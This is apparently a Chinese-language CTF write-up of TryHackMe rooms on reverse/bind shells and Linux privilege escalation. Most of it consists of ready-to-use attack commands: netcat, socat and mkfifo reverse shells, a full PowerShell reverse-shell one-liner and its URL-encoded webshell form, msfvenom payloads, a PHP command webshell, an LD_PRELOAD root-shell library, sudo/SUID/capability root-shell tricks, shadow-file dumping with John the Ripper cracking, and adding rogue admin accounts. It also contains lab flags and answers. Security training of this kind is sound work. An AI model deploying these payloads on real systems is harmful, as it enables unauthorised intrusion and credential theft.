Privilege Escalation(权限提升)
Privilege Escalation(权限提升)
What the Shell?
What is a shell
shell 是我们与命令行环境 (CLI) 交互时使用的工具。换句话说, Linux中常见的 bash 或 sh 程序都是 shell 的例子,Windows 上的 cmd.exe 和 Powershell 也是如此。
简而言之,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者打开服务器上的端口,我们可以连接到该端口以执行进一步的命令(绑定shell) )。
Tools
我们将使用多种工具来接收反向 shell 和发送绑定 shell。
Netcat:它可用于接收反向 shell 并连接到附加到目标系统上的绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失)。
Socat:通常比开箱即用的 netcat shell 更稳定。从这个意义上来说,它比 netcat 优越得多;然而,有两个大问题:1.
语法比较难,2.很少linux上安装有Socat
Metasploit:
Metasploit框架的exploit/multi/handler
模块与socat和netcat一样,用于接收反向shell。它也是与meterpreter shell 交互的唯一方法。
Msfvenom:与 multi/handler 一样,msfvenom 在技术上是Metasploit框架的一部分,但它是作为独立工具提供的。 Msfvenom 用于动态生成有效负载。msfvenom 可以生成除反向和绑定 shell 之外的有效负载。
Types of Shell
1.反弹shell:目标被迫执行连接回计算机的代码。在自己的计算机上,将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。
2.绑定 shell:目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着可以连接到代码已打开的端口并以这种方式获取远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。
Netcat
nc -lvnp <port-number>
-l用于告诉 netcat 这将是一个侦听器,-v用于请求详细输出,-n告诉 netcat 不要解析主机名或使用DNS ,解释这一点超出了房间的范围,-p表示将遵循端口规范。
使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。
Netcat Shell Stabilisation(稳定)
默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会kill。它们是非交互式的,并且经常出现奇怪的格式错误。这是因为 netcat“shell”实际上是在终端内运行的进程,而不是其本身的真正终端。幸运的是,有很多方法可以稳定 Linux 系统上的 netcat shell。我们将在这里关注三个。
1.Python:
仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:
(1)首先要做的是使用 python -c 'import pty;pty.spawn("/bin/bash")'
,它使用 Python 生成功能更好的 bash shell,此时,我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,并且 Ctrl + C 仍然会终止 shell。
(2) export TERM=xterm
这将使我们能够访问术语命令,例如clear
。
(3)最后(也是最重要的)我们将使用 Ctrl + Z 将 shell 置于后台。回到我们自己的终端,我们使用stty raw -echo; fg
这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。
2.rlwrap:
rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、制表符自动完成和箭头键;但是,如果您希望能够在 shell 内使用 Ctrl + C,则仍然必须使用一些手动稳定功能。 Kali 上默认没有安装 rlwrap,因此首先使用sudo apt install rlwrap
安装它。
要使用 rlwrap,我们调用一个略有不同的侦听器:
rlwrap nc -lvnp <port>
3.Socat:
使用初始的 netcat shell 作为进入功能更齐全的 socat shell 的垫脚石。请记住,此技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 并不比 netcat shell 更稳定。为了实现这种稳定方法,我们首先将socat 静态编译的二进制文件(编译为没有依赖性的程序版本)传输到目标机器。实现此目的的典型方法是在包含 socat 二进制文件的目录内的攻击计算机上使用网络服务器sudo python3 -m http.server 80
,然后,在目标计算机上,使用 netcat shell 下载文件。在Linux上,这可以通过curl 或 wget 来完成 wget <LOCAL-IP>/socat -O /tmp/socat
。
Socat
Reverse Shells:
如前所述,socat 的语法比 netcat 的语法困难得多。以下是 socat 中基本反向 shell 侦听器的语法:
socat TCP-L:<port> -
在 Windows 上,我们将使用此命令来连接回来:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。
这是Linux目标的等效命令:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind Shells:
在Linux目标上,我们将使用以下命令:
socat TCP-L:<PORT> EXEC:"bash -li"
在 Windows 目标上,我们将对侦听器使用以下命令:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
无论目标是什么,我们都会在攻击机器上使用此命令来连接到等待的侦听器。
socat TCP:<TARGET-IP>:<TARGET-PORT> -
Socat Encrypted Shells
我们首先需要生成一个证书才能使用加密的 shell。在我们的攻击机器上,这是最简单的:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
然后,我们需要将创建的两个文件合并为一个 .pem
文件:
cat shell.key shell.crt > shell.pem
现在,当我们设置反向 shell 侦听器时,我们使用:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
要重新连接,我们将使用:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
同样的技术也适用于 bind shell:
Target:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
Attacker:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
1.What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called "encrypt.pem"
使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为 “encrypt.pem” 的 PEM 文件
**ANSWER: **
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
socat
:一个多功能的网络工具,用于在不同的接口(如文件、套接字、设备等)之间创建双向的连接。
OPENSSL-LISTEN:53
:这是socat
的一个地址类型,表示在本地机器上监听端口 53,并使用 OpenSSL 进行加密通信。通常端口 53 是 DNS 服务端口,但这里可以自定义使用。
cert=encrypt.pem
:指定了 OpenSSL 使用的证书文件encrypt.pem
,该证书文件中包含了公钥和私钥,用于加密通信。
verify=0
:禁用了证书验证。这意味着连接到此端口的客户端不会验证证书的真实性,适用于测试或内部使用的加密传输。
FILE:
`tty`,raw,echo=0
:
FILE:
`tty`:socat
将终端设备 (tty
) 用作通信的另一端,因此连接到 53 端口的客户端可以直接和终端进行交互。raw
:禁用了任何处理,让数据以原始模式传输。echo=0
:禁用了输入回显,即输入的内容不会在终端上显示。
2.If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?
如果您的 IP 是 10.10.10.5,您将使用什么语法连接回此侦听器?
**ANSWER: **
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane
EXEC:"bash -li"
:指令部分
EXEC
:在连接建立后执行一个本地命令或程序。"bash -li"
:启动一个 Bash Shell,并带上 并带上-l
和-i
参数。
-l
:登录 Shell,读取用户的启动配置。-i
:交互式模式,便于命令交互。
pty
:为远程 Shell 分配一个伪终端(pseudo-terminal),模拟一个真实终端环境。
stderr
:使标准错误输出通过同一连接传输。
sigint
:允许通过发送中断信号(如Ctrl+C
)来控制终端,会转发中断信号给远程 Shell。
setsid
:启动新会话,避免受制于当前 Shell 的会话限制。
sane
:设置终端模式为“正常”(sane)状态,重置某些设置来确保交互顺利。
Common Shell Payloadsaa
在 Linux 上,我们将改用此代码为 bind shell 创建侦听器:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
一个非常相似的命令可以用来发送一个 netcat 反向 shell:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
该命令首先在
/tmp/f
处创建一个命名管道。然后,它启动 netcat 侦听器,并将侦听器的 input 连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)通过管道直接传输到sh
,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入中,从而完成循环。
当面向现代 Windows Server 时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。
这个命令非常复杂,所以为了简单起见,这里不再直接解释。然而,这是一个非常有用的单行代码:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
为了使用它,我们需要将“
1.What command can be used to create a named pipe in Linux?
什么命令可以用来在 Linux 中创建命名管道?
**ANSWER: **mkfifo
msfvenom
msfvenom 的标准语法如下:
msfvenom -p <PAYLOAD> <OPTIONS>
例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
-f
Specifies the output format. In this case that is an executable (exe)
指定输出格式。在本例中,它是一个可执行文件 (exe)-o
The output location and filename for the generated payload.
生成的负载的输出位置和文件名。LHOST=
Specifies the IP to connect back to. When using TryHackMe, this will be your tun0 IP address. If you cannot load the link then you are not connected to the VPN.
指定要连接回的 IP。LPORT=
The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn't already in use; however, ports below 1024 are restricted and require a listener running with root privileges.
本地计算机上要连接回的端口。这可以是 0 到 65535 之间尚未使用的任何值;但是,低于 1024 的端口会受到限制,并且需要以 root 权限运行的侦听器。
在我们进一步讨论之前,必须介绍另外两个概念:分阶段的反向 shell 有效负载和无阶段的反向 shell 有效负载。
分阶段:分两部分发送。第一部分称为 stager。这是一段直接在服务器本身上执行的代码。它连接回等待的侦听器,但实际上本身不包含任何反向 shell 代码。相反,它连接到侦听器并使用连接加载真正的有效负载,直接执行它并防止它接触可能被传统防病毒解决方案捕获的磁盘。因此,有效载荷分为两部分 -- 一个小的初始 stager,然后是较笨重的反向 shell 代码,该代码在 stager 激活时下载。暂存有效负载需要一个特殊的侦听器 —— 通常是 Metasploit multi/handler。
无阶段:有效载荷更常见 - 这些是我们到目前为止一直在使用的。它们是完全自包含的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器。
使用 msfvenom 时需要注意的另一件重要事情是:
msfvenom --list payloads
1.Which symbol is used to show that a shell is stageless?
哪个符号用于表示 shell 是无 stage 的?
ANSWER:_
2.What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is
elf
and the output filename should beshell
假设你自己的 IP 是 10.10.10.5,并且你在端口 443 上侦听,你会使用什么命令为 64 位 Linux 目标生成一个分阶段的 meterpreter 反向 shell?shell 的格式为elf
,输出文件名应为shell
**ANSWER: **msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443
Metasploit multi/handler
Multi/Handler 是捕获反向 shell 的绝佳工具。如果您想使用 Meterpreter shell,它是必不可少的,并且在使用暂存有效负载时是首选。
使用 msfconsole
打开 Metasploit,使用 use multi/handler
使用 exploit -j
命令,指示 Metasploit 启动模块,在后台以 job 形式运行。
1.What command can be used to start a listener in the background?
什么命令可以用来在后台启动监听器?
ANSWER:exploit -j
2.If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?
如果我们刚刚在当前的 Metasploit 会话中收到了第十个反向 shell,那么用于前台的命令是什么?
ANSWER:sessions 10
WebShells
“Webshell”是一个口语术语,指的是在 Web 服务器(通常使用 PHP 或 ASP 等语言)中运行的脚本,它在服务器上执行代码。实质上,命令是通过 HTML 表单或直接作为 URL 中的参数输入到网页中的,然后由脚本执行,结果返回并写入页面。
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
上行代码在 URL 中获取 GET 参数,并使用 shell_exec()
在系统上执行它。从本质上讲,这意味着我们在 URL 中 ?cmd=
之后输入的任何命令都将在系统上执行(无论是 Windows 还是 Linux)。“pre” 元素用于确保结果在页面上的格式正确。
当目标是 Windows 时,通常最简单的方法是使用 Webshell 获取 RCE,或者使用 msfvenom 以服务器的语言生成反向/绑定 shell。使用前一种方法获取 RCE 通常是通过 URL 编码的 Powershell Reverse Shell 完成的。这将作为 cmd
参数复制到 URL 中:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
Next Steps
假如我们已经取得了一个shell,那么现在应该怎么办呢
理想情况下,在 Linux 上,我们会寻找访问用户帐户的机会。存储在 /home/<user>/.ssh
的 SSH 密钥通常是执行此操作的理想方法。在 CTF 中,在盒子上的某个地方找到凭证也并不少见。一些漏洞还允许您添加自己的帐户。特别是像 Dirty C0w 或可写的 /etc/shadow
或 /etc/passwd
这样的东西,假设 SSH 是打开的,它会很快给你提供对机器的 SSH 访问。
在 Windows 上,选项通常更加有限。有时可以在注册表中找到运行服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP 服务器还将凭据保留在 XML 文件中,地址为 C:\Program Files\FileZilla Server\FileZilla Server.xml
或 C:\xampp\FileZilla Server\FileZilla Server.xml
理想情况下,在 Windows 上,将获得一个以 SYSTEM 用户身份运行的 shell,或者一个以高权限运行的管理员帐户。在这种情况下,可以简单地将自己的帐户(在 administrators 组中)添加到机器上,然后通过 RDP、telnet、winexe、psexec、WinRM 或任何其他方法登录,具体取决于机器上运行的服务。
语法如下:
net user <username> <password> /add
net localgroup administrators <username> /add
Linux 权限提升
Introduction
权限提升是一个旅程。没有灵丹妙药,很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码是影响通往 root shell 之路的几个关键因素。
What is Privilege Escalation?什么是权限提升?
从本质上讲,权限提升通常涉及从较低权限的帐户转到较高权限的帐户。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽,以未经授权访问通常限制用户访问的资源。
Enumeration 列举
枚举是访问任何系统后必须采取的第一步。可能通过利用导致 root 级访问的关键漏洞访问了系统,或者只是找到了一种使用低权限帐户发送命令的方法。与 CTF 不同,渗透测试活动不会在我们获得特定系统或用户权限级别的访问权限后结束。
hostname
命令将返回目标计算机的主机名。尽管此值可以很容易地更改或具有相对无意义的字符串(例如 Ubuntu-3487340239),但在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如,SQL-PROD-01 用于生产 SQL Server)。
uname -a
将打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索任何可能导致权限提升的潜在内核漏洞时非常有用。
cat /proc/version
可能会为提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)。
cat /etc/issue
也可以识别系统。此文件通常包含有关操作系统的一些信息,但可以很容易地进行自定义或更改。在主题上,可以自定义或更改任何包含系统信息的文件。为了更清楚地了解该系统,查看所有这些总是好的。
ps
的输出将显示以下内容
- PID:进程 ID(对进程唯一)
- TTY:用户使用的终端类型
- TIME:进程使用的 CPU 时间量(这不是此进程的运行时间)
- CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
ps -A
: 查看所有正在运行的进程
ps axjf
: 查看进程树
ps aux
:aux
选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在漏洞。
env
命令将显示环境变量。
sudo -l
将为目标系统配置允许用户使用 root 权限运行某些(或全部)命令。
ls
: 在寻找潜在的权限提升向量时,请记住始终使用带有 -la
参数的 ls 命令。下面的示例显示了使用 ls
或 ls -l
命令如何容易丢失 “secret.txt” 文件。
id
命令将提供用户权限级别和组成员资格的一般概述。
读取 /etc/passwd
文件是发现系统上用户的一种简单方法。
另一种方法是将 grep 用于 “home”,因为真实用户很可能将他们的文件夹放在 “home” 目录下。
history
、ifconfig
可以使用 ip route
命令来确认,以查看存在哪些网络路由。
netstat -a
:显示所有侦听端口和已建立的连接。
netstat -at
或 netstat -au
也可以分别用于列出 TCP 或 UDP 协议。
netstat -l
:列出处于 “listening” 模式的端口。这些端口已打开并准备好接受传入连接。这可以与 “t” 选项一起使用,以仅列出正在使用 TCP 协议侦听的端口
netstat -s
:是一个用于显示网络统计信息的命令。这也可以与 -t
或 -u
选项一起使用,以将输出限制为特定协议。
netstat -tp
:列出连接(TCP),包括服务名称和 PID 信息。SSSS
这也可以与 -l
选项一起使用,以列出侦听端口(如下)
netstat -ltp
netstat -i
:显示接口统计信息。
netstat -ano
:
-a
:显示所有sockets
-n
:不解析名称
-o
:显示计时器
find Command:
-
find . -name flag1.txt
:在当前目录中找到名为 “flag1.txt” 的文件 -
find /home -name flag1.txt
:在 /home 目录中查找文件名 “flag1.txt” -
find / -type d -name config
:找到 “/” 下的名为 config 的目录 -
find / -type f -perm 0777
:查找具有 777 权限的文件(所有用户均可读取、可写和可执行的文件) -
find / -perm a=x
:查找可执行文件 -
find /home -user frank
: 在“/home”下查找用户“frank”的所有文件 -
find / -mtime 10
:查找最近 10 天内修改的文件 -
find / -atime 10
:查找过去 10 天内访问的文件 -
find / -cmin -60
:查找过去一小时(60 分钟)内更改的文件 -
find / -amin -60
:查找过去一小时(60 分钟)内的文件访问 -
find / -size 50M
:查找大小为 50 MB 的文件 -
find / -writable -type d 2>/dev/null
:查找全局可写文件夹 -
find / -perm -222 -type d 2>/dev/null
:查找全局可写文件夹 -
find / -perm -o w -type d 2>/dev/null
:查找全局可写文件夹
1.What is the hostname of the target system?
目标系统的主机名是什么?
ANSWER:wade7363
2.What is the Linux kernel version of the target system?
目标系统的 Linux 内核版本是什么?
ANSWER:3.13.0-24-generic
3.What Linux is this?
这是什么 Linux?
ANSWER:Ubuntu 14.04 LTS
4.What version of the Python language is installed on the system?
系统安装了哪个版本的 Python 语言?
ANSWER:2.7.6
5.What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
哪个漏洞似乎影响了目标系统的内核?(输入 CVE 编号)
之前我们获取了该系统的内核版本为3.13.0-24-generic,我们在db上查找其对应的CVE
ANSWER:CVE-2015-1328
Automated Enumeration Tools自动枚举工具
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker
Privilege Escalation: Kernel Exploits权限提升:内核漏洞
内核漏洞利用方法很简单,
- 确定内核版本
- 搜索并查找目标系统内核版本的漏洞利用代码
- 运行漏洞利用
1.find and use the appropriate kernel exploit to gain root privileges on the target system.
查找并使用适当的内核漏洞来获得目标系统的 root 权限。
我们运用上个任务查找的漏洞进行攻击
首先在本地下载漏洞脚本并开启http服务
然后在靶机上wget下载到/tmp目录
wget http://10.21.66.31:10000/df.c -P /tmp/
cd到该目录下
第一步先编译这个代码文件
gcc df.c -o df
查看是否编译成功
然后执行该脚本
成功获取root权限
2.What is the content of the flag1.txt file?
flag1.txt 文件的内容是什么?
首先查找该文件在哪里
find / -type f -name "myfile.txt" 2>/dev/null
ANSWER:THM-28392872729920
Privilege Escalation: Sudo 权限提升:Sudo
任何用户都可以使用 sudo -l
命令检查其与 root 权限相关的当前情况。
Leverage application functions 利用应用程序功能
在此上下文中,某些应用程序不会有已知的漏洞利用。但是可能会看到这样的应用程序是 Apache2 。
正如在下面看到的,Apache2 有一个支持加载备用配置文件的选项(-f
:指定一个备用的 ServerConfigFile)。
使用此选项加载 /etc/shadow
文件将导致出现一条错误消息,其中包含 /etc/shadow
文件的第一行。
Leverage LD_PRELOAD
在某些系统上,您可能会看到 LD_PRELOAD ENV 选项。
LD_PRELOAD 是一个允许任何程序使用共享库的函数。如果启用了 “env_keep” 选项,我们可以生成一个共享库,该库将在程序运行之前加载和执行。请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD选项将被忽略。
此权限提升的步骤可以总结如下;
- 检查LD_PRELOAD(查看 env_keep 选项)
- 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
C 代码将简单地生成一个根 shell,并且可以按如下方式编写
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译成共享对象文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
我们需要通过指定 LD_PRELOAD 选项来运行程序,
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将生成具有 root 权限的 shell。
1.How many programs can the user "karen" run on the target system with sudo rights?
用户 “karen” 可以在具有 sudo 权限的目标系统上运行多少个程序?
sudo -l
ANSWER:3
2.What is the content of the flag2.txt file?
flag2.txt 文件的内容是什么?
首先我们找到flag2.txt的位置
sudo find / -type f -name "flag2.txt" 2>/dev/null
然后使用less查看
cd /home/ubuntu
sudo less flag2.txt
3.How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成根 shell?
在GTFOBins上查看https://gtfobins.github.io/
ANSWER:sudo nmap --interactive
4.What is the hash of frank's password?
frank 的密码哈希值是多少?
在/etc/shadow上查看
sudo less /etc/shadow
ANSWER:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1
另一种方法,我们直接提权
sudo nano
打开,按住Ctrl+R 和 Ctrl+X,输入以下命令以获得 root 访问权限:reset; bash 1>&0 2>&0
Privilege Escalation: SUID 权限提升:SUID
许多 Linux 权限控制都依赖于控制用户和文件交互。到目前为止,知道文件可以具有读取、写入和执行权限。这些权限将授予其权限级别的用户。SUID (集-用户标识) 和 SGID (集-组标识) 会更改这种情况。
find / -type f -perm -04000 -ls 2>/dev/null
将列出设置了 SUID 或 SGID 位的文件。
find /
:从根目录开始查找。
-type f
:仅查找文件(不包括目录)。
-perm -04000
:查找具有 setuid 权限的文件。setuid 权限允许普通用户以文件所有者的权限执行该文件。
-ls
:以列表形式显示找到的文件的详细信息,包括权限、大小、修改时间等。
2>/dev/null
:将标准错误输出重定向到 /dev/null
,这意味着任何错误信息(例如没有权限访问某些目录的错误) 都不会被显示。
上https://gtfobins.github.io搜对应的SUID即可获取
为 nano 文本编辑器设置的 SUID 位允许我们使用文件所有者的权限创建、编辑和读取文件。Nano 归 root 所有,这可能意味着我们可以比当前用户更高的权限级别读取和编辑文件。在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow
文件或将我们的用户添加到 /etc/passwd
。
以下是使用两种向量的简单步骤。
1.读取 /etc/shadow
文件
我们看到 nano 文本编辑器通过运行 find / -type f -perm -04000 -ls 2>/dev/null
命令设置了 SUID 位。
nano /etc/shadow
将打印 /etc/shadow
文件的内容。我们现在可以使用 unshadow 工具创建可由 John the Ripper 破解的文件。要实现此目的,unshadow 需要 /etc/shadow
和 /etc/passwd
文件。
unshadow工具的用法如下所示;
unshadow passwd.txt shadow.txt > passwords.txt
2.添加具有 root 权限的新用户。这将帮助我们规避密码破解的繁琐过程。下面是一个简单的方法:
我们需要希望新用户拥有的密码的哈希值。这可以使用 Kali Linux 上的 openssl 工具快速完成。
openssl passwd -1 -salt THM password1
openssl passwd
:调用 OpenSSL 的密码生成功能。
-1
:指定使用 MD5 作为加密算法,生成一个 MD5 的密码散列。
-salt THM
:使用 "THM" 作为(salt)。盐值用于增强密码的安全性,使得相同的密码在不同的盐值下生成 不同的散列。
password1
:这是要加密的原始密码。
然后,我们将此密码和用户名添加到 /etc/passwd
文件中。
一旦我们的用户被添加进来(请注意 root:/bin/bash
是如何被用来提供 root shell的),我们将需要切换到这个用户,并希望他们应该有 root 权限。
1.Which user shares the name of a great comic book writer?
哪个用户和一位伟大的漫画作家同名?
cat /etc/passwd
查看用户名
ANSWER:gerryconway
2.What is the password of user2?
user2 的密码是什么?
我们可以使用unshadow去操作他
首先我们的本机需要创建3个文件和一个现有字典,passwd.txt,shadow.txt,passwords.txt和rockyou.txt
然后在靶机上使用以下命令查看哪些命令具有SUID权限
find -type f -perm -04000 -ls 2>/dev/null
我们可以看到base64被赋予了SUID权限,我们执行base64命令来获取内容
base64 /etc/passwd | base64 --decode
base64 /etc/shadow | base64 --decode
然后将获取的内容粘贴到本机相应的文件中,使用unshadow解除隐藏
unshadow passwd.txt shadow.txt > passwords.txt
最后我们破解密码就好了
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
ANSWER:Password1
3.What is the content of the flag3.txt file?
flag3.txt 文件的内容是什么?
首先我们找到flag3.txt的位置
find / -type f -name "flag3.txt" 2>/dev/null
然后使用具有SUID命令的base64查看
base64 /home/ubuntu/flag3.txt | base64 --decode
ANSWER:THM-3847834
Privilege Escalation: Capabilities 权限提升:功能
系统管理员可以用于提高进程或二进制文件的权限级别的另一种方法是“Capabilities”。功能有助于在更精细的级别管理权限。例如,如果 SOC 分析师需要使用启动套接字连接的工具,则普通用户将无法执行此操作。如果系统管理员不想为此用户提供更高的权限,他们可以更改二进制文件的功能。因此,二进制文件将独自完成其任务,而无需更高权限的用户。
我们可以使用 getcap
工具列出已启用的功能。
当以非特权用户身份运行时,getcap -r /
将生成大量错误,因此最好将错误消息重定向到 /dev/null
getcap -r /
:getcap
是一个用于显示文件能力的命令,-r
表示递归查找,从根目录/
开始。
请注意,vim 和它的副本都没有设置 SUID 位。因此,在枚举查找 SUID 的文件时,无法发现此权限提升。
GTFObins有一个很好的二进制文件列表,如果我们找到任何 Set 功能,可以利用这些二进制文件进行权限提升。
我们注意到 vim 可以与以下命令和有效负载一起使用:
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This will launch a root shell as seen below
1.How many binaries have set capabilities?
有多少个二进制文件具有 set 功能?
ANSWER:6
2.What other binary can be used through its capabilities?
还可以通过其功能使用哪些其他二进制文件?
ANSWER:view
3.What is the content of the flag4.txt file?
flag4.txt 文件的内容是什么?
首先查询位置
使用之前看到的二进制文件去查看他
view /home/ubuntu/flag4.txt
ANSWER:THM-9349843
Privilege Escalation: Cron Jobs 权限提升:Cron Jobs
Cron Jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。虽然正确配置的 cron Jobs本身并不容易受到攻击,但它们在某些情况下可以提供权限提升。
很简单,如果有一个使用 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将使用 root 权限运行。
任何用户都可以读取文件,将系统范围的 Cron Jobs保存在 /etc/crontab
下
可以看到有个backup.sh在我们的用户目录下,cat看看
由于我们当前的用户可以访问此脚本,因此我们可以轻松地对其进行修改以创建一个反向 shell,希望具有 root 权限。
需要注意的两点:
命令语法将根据可用工具的不同而有所不同。(例如,nc
可能不支持您在其他情况下看到的 -e
选项)
我们应该始终倾向于启动反向 shell,因为我们不想在真正的渗透测试参与中损害系统完整性。
该文件应如下所示
其中ip为攻击机ip
现在,我们将在攻击机器上运行侦听器来接收传入连接。
以下情况在没有特定网络安全成熟度级别的公司中并不少见:系统管理员需要定期运行脚本,他们创建一个 cron 作业来执行此操作,过了一会儿,脚本变得无用了,他们删除了它,它们不会清理相关的 cron 作业。
其中 脚本已被删除,但 cron 作业仍然存在。
1.How many user-defined cron jobs can you see on the target system?
您可以在目标系统上看到多少个用户定义的 cron 作业?
cat /etc/crontab
ANSWER:4
2.What is the content of the flag5.txt file?
flag5.txt 文件的内容是什么?
查询位置
find / -type f -name "flag5.txt" 2>/dev/null
发现不能直接cat,我们可以修改/home/karen/backup.sh
的cronjob来提升权限
我们给/bin/bash
赋权suid,然后使用 chmod 命令授予 suid 权限
成功
-p 保持环境变量
可以拿flag5值了
ANSWER:THM-383000283
3.What is Matt's password?
Matt 的密码是什么?
我们使用john解密密码
首先获取matt的/etc/passwd
和/etc/shadow
unshadow passwd.txt shadow.txt > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
ANSWER:123456
Privilege Escalation: PATH 权限提升:PATH
